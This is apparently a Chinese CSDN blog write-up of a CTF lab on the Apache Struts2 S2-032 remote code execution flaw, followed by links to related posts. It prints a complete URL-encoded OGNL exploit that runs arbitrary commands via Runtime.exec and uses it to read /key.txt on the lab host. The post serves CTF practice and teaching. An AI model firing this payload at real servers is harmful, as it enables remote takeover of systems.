CTF-Apache Struts2远程代码执行漏洞(S2-032)复现

最新推荐文章于 2023-06-09 09:09:56 发布
最新推荐文章于 2023-06-09 09:09:56 发布
阅读量913 收藏 1
点赞数
分类专栏： 墨者学院
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/asd158923328/article/details/100007310
版权
本文详细解析了Struts2中一个严重漏洞的原理，该漏洞允许攻击者通过构造特定的请求，在服务器上执行任意命令。文章提供了漏洞利用的表达式示例，并展示了如何通过访问特定页面执行命令。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

根据题意
在这里插入图片描述
漏洞原理：当启用动态方法调用时，可以传递可用于在服务器端执行任意代码的恶意表达式
任意命令执行Exp：
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=[命令]

访问页面：http://219.153.49.228:41481/?method:[exp]执行命令
执行cat /key.txt命令，获得key
在这里插入图片描述

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-032（CVE-2016-3081）
qq_51577576的博客
11-25 730
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-032（CVE-2016-3081） Apache Struts 2是世界上最流行的Java Web服务器框架之一。Struts 2上存在高危安全漏洞（CVE-2016-3081,S02-32）,黑客可以利用漏洞直接执行任意代码，绕过文件限制，上传文件，执行远程命令，控制服务器，直接盗取用户的所有资料，该漏洞广泛影响所有struts版本。
CTF-Apache Struts2远程代码执行漏洞(S2-007)复现
asd158923328的博客
08-21 523
根据题意 形成原因：当配置了验证规则，类型转换出错时，进行了错误的字符串拼接，进而造成了OGNL语句的执行。 进入环境，查看源码， 限制了三个输入框的的值只能为text，而且长度在540以上， 然后在登录界面用户名和邮箱值随意，age部分改为我们的payload ’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java...
在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-032)复现
weixin_42079912的博客
08-09 557
产生漏洞的原因为：当启用动态方法调用时，可以传递可用于在服务器端执行任意代码的恶意表达式。 method: < name > Action 前缀去调用声明为 public 的函数，但是在低版本 的Strtus2中并不会对 name 方法值做 OGNL 计算，反而在高版本中会进行计算。 打开靶场网页，等网页加载完。如果没有加载完(靶场环境可能没有完全部署好)，可能会影响工具检测结果。 ...
墨者学院之Apache Struts2远程代码执行漏洞(S2-032)复现
liangzi321321的博客
09-22 935
本题的解题方向是struts2的S2-032漏洞，启用动态方法调用时，可以通过方法：前缀执行远程代码执行。 method: < name > Action 前缀去调用声明为 public 的函数，但是在低版本 的Strtus2中并不会对 name 方法值做 OGNL 计算，反而在高版本中会进行计算。 其中需要利用exp进行实现： 首先构造poc 编码前：由编码后解析成的代...
0x28.Apache Struts2远程代码执行漏洞(S2-032)复现
qq_31679787的博客
10-21 509
s2-032：启用动态方法调用后，可能会传递可用于在服务器端执行任意代码的恶意表达式；接收到的参数会经过处理存入到ActionMapping的method属性中，最后会将method属性中的值当做ognl表达式执行； poc： ?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.stru...
CTF-Apache Struts2远程代码执行漏洞(S2-037)复现
asd158923328的博客
08-22 1715
根据题意 漏洞概述：Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下，攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438，目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码，绕过文件限制，上传文件，执行远程命令，控制服务器，直接盗取用户的所有资料，该漏洞广泛影响所有s...
CTF-Apache Struts2远程代码执行漏洞(S2-001)复现
asd158923328的博客
08-21 822
根据题意 Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API，鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心，吸收了Struts框架的部分优点，提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。 S2-001 原理：该漏洞其实是因为用户提交表单数据并且验证失败时，后端会将用...
【Vulfocus解题复现】Struts2 S2-013 Struts2 远程命令执行漏洞 （CVE-2013-1966）
温氏效应
09-04 3112
漏洞介绍 名称：Struts2 S2-013 远程命令执行漏洞 漏洞版本：Apache Group Struts 2.0.0 - 2.3.14 CVE标识符：CVE-2013-1966 描述：url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为：none-在URL中不包含任何参数（默认），get-仅在URL中包含get参数，all-在URL中同时包含get和post参数。当INCLUDEPa
Struts2-S2-061远程命令执行(CVE-2020-17530)漏洞复现
qq_57172130的博客
05-03 776
目录 框架介绍 漏洞原理 影响版本 环境搭建 漏洞探测 漏洞利用 防御措施 框架介绍 Apache Struts 2最初被称为WebWork 2，它是一个简洁的、可扩展的框架，可用于创建企业级Java web应用程序。Struts 2是Struts 1的一个升级版，但是它和Struts 1来相比，提供了太多的增强和改进，怎么运行的呢，就是实现了Servlet的功能，来进行控制页面跳转。同时这也是基于MVC设计模式的Web应用框架，Struts 2的控制功能就相当于MVC中的Controll
墨者学院-Apache Struts2远程代码执行漏洞(S2-032)复现
JimWu的博客
09-04 743
Apache Struts2远程代码执行漏洞(S2-032)复现 难易程度:★★ 题目类型:命令执行 使用工具:FireFox浏览器 漏洞原理:由于启用动态方法调用时，可以通过方法：前缀执行远程代码执行。 1.打开靶场，了解S2-032漏洞原理。 2.构造POC，执行命令ls / %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,...
墨者学院Apache Struts2远程代码执行漏洞(S2-032)
全村的希望
10-13 435
墨者学院Apache Struts2远程代码执行漏洞(S2-032)
CTF-Apache Struts2远程代码执行漏洞(S2-015)复现
asd158923328的博客
08-21 855
根据题意 针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如：/{1}.jsp 上述配置能让我们访问 name.action 时使用 name.jsp来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。在实践...
Xctf isc-07 apache2解析漏洞，php弱类型
wssmiss的博客
04-16 630
Xctf isc-07 题目描述:工控云管理系统项目管理页面解析漏洞 找到index.php页面，有一个view source点击查看 审计三个php代码段可以找到突破点 第一段是个简单重定向，get参数page不为index.php即可 第二段 需要得到一个admin的session，之后可以post传入con与file两个参数 File参数是自定义的文件名字，之后会处理为backup...
ctfshow刷题 [struts2]
weixin_44807430的博客
01-08 889
纯粹且坚持
apache 报错信息隐藏_CTF之信息泄漏
weixin_35945980的博客
12-08 438
web源码泄漏.hg源码泄漏：漏洞成因：hg init的时候会生成.hg，http://www.xx.com/.hg/，工具：dvcs-ripper，(rip-hg.pl -v -u http://www.xx.com/.hg/).git源码泄漏：漏洞成因：在运行git init初始化代码库的时候，会在当前目录下产生一个.git的隐藏文件，用来记录代码的变更记录等，没有删除这个文件，导...
CTFshow刷题日记-WEB-JAVA（web279-300）Struts2全漏洞复现，Java漏洞复现
热门推荐
Love&Share
10-12 2万+
全部题都是struts2框架漏洞 Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架 关于struts2漏洞，vulhub都有环境并且给出了漏洞原理和poc GitHub项目地址：https://github.com/vulhub/vulhub/tree/master/struts2 判断网站是否基于Struts2的方法链接 通过页面回显的错误消息来判断，页面不回显错误消息时则无效 通过网页后缀来判断，如.do .action，有可能不准 如果配置文件中常数extension的值
NSSCTF实战：Apache log4j漏洞靶机(CVE-2021-44228)
weixin_52270928的博客
05-09 689
Apache Log4j2 是一款开源的 Java 日志记录工具，大量的业务框架都使用了该组件。如：Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对用户输入内容进行严格的判断，从而造成漏洞的发生。
Buuctf [struts2]s2-001
最新发布
ch258563的博客
06-09 307
Buuctf [struts2]s2-001
buuctf [struts2]s2-046
qq_1873822的博客
03-19 420
漏洞描述 使用Jakarta插件，程序没有正确处理文件上传，通过构造HTTP请求头中的Content-type造成RCE
Web-CTF-帮助：用于Web渗透测试的实用脚本集
根据给定文件信息，可以看出这是一款针对Web CTF（Capture The Flag）竞赛的脚本集工具，名为"web-ctf-help"。Web CTF是一种信息安全竞赛，参与者需要找到网站的安全漏洞，并对其进行利用。此工具主要提供了一系列的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值